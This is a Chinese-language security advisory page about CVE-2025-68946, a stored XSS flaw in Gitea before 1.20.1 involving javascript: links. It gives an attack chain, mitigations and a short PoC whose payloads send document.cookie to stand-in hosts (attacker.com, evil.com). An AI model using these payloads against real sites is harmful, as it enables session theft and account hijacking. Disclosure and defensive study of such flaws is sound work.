IPBUF安全漏洞报告
English
CVE-2025-68946 CVSS 5.4 中危

CVE-2025-68946 Gitea XSS跨站脚本漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-68946
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Gitea

相关标签

XSS跨站脚本Gitea存储型XSSURL协议注入CVE-2025-68946javascript:协议Web安全

漏洞概述

CVE-2025-68946是Gitea中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于Gitea 1.20.1之前的版本中,攻击者可以利用javascript:等禁止的URL方案在页面中插入恶意链接。当其他用户访问包含恶意链接的页面时,攻击者注入的JavaScript代码将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。该漏洞的CVSS评分为5.4,属于中等严重程度,需要低权限用户进行交互才能触发。由于Gitea是一个广泛使用的自托管Git服务,该漏洞可能影响大量使用Gitea进行代码托管和协作开发的组织和个人。攻击者可以通过在问题、评论、文件描述等用户可输入内容的位置注入恶意链接来利用此漏洞。

技术细节

该漏洞的根本原因在于Gitea对用户输入的URL链接验证不充分。具体来说,Gitea在处理用户提交的链接时,未能正确过滤或限制javascript:等危险的URL协议。当攻击者在Gitea中创建包含javascript:协议链接的内容时,该链接会被存储并在页面渲染时输出到HTML中。受害者访问包含恶意链接的页面时,点击该链接或页面自动解析该链接时,嵌入的JavaScript代码就会在受害者的浏览器上下文中执行。攻击者可以利用此漏洞执行各种客户端攻击,包括但不限于:窃取用户的会话令牌、获取用户敏感信息、伪装成合法用户进行操作、或将受害者重定向到钓鱼网站。修复该漏洞需要在URL处理逻辑中添加协议白名单验证,确保只有http:、https:等安全协议被允许,而javascript:、data:等危险协议被阻止。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Gitea实例版本,确认版本低于1.20.1
STEP 2
初始访问
攻击者以低权限用户身份登录Gitea,获取基本的提交内容权限
STEP 3
漏洞利用
攻击者在Issue、Pull Request评论、文件描述或Wiki页面中插入包含javascript:协议的恶意链接
STEP 4
触发条件
受害者访问包含恶意链接的页面,并点击该链接或页面自动解析URL
STEP 5
代码执行
恶意JavaScript代码在受害者浏览器中执行,可窃取Cookie、会话令牌或执行其他操作
STEP 6
持久化/横向移动
攻击者利用窃取的凭证劫持用户会话,访问敏感数据或进一步攻击系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68946 PoC - Gitea XSS via javascript: URL scheme // This PoC demonstrates how an attacker can inject malicious javascript: links // Example malicious content that can be submitted to Gitea: // <a href="javascript:alert(document.cookie)">Click here</a> // <a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Malicious Link</a> // Attack scenario: // 1. Attacker creates an issue/PR comment or modifies a file description // 2. Attacker inserts: <a href="javascript:alert(document.domain)">View Details</a> // 3. When victim views the page, clicking the link executes the JavaScript // 4. Attacker can steal cookies, session tokens, or perform actions on behalf of victim // Example exploit payload for stealing session: const exploitPayload = ` <a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))"> Interesting commit </a> `; // Mitigation: Gitea 1.20.1+ blocks javascript: and other dangerous URL schemes

影响范围

Gitea < 1.20.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在反向代理层配置URL过滤规则,拒绝包含javascript:、data:等危险协议的请求;2) 启用严格的内容安全策略(CSP)限制脚本执行;3) 限制低权限用户创建公开内容;4) 监控日志中的可疑javascript:链接注入行为;5) 通知用户不要点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表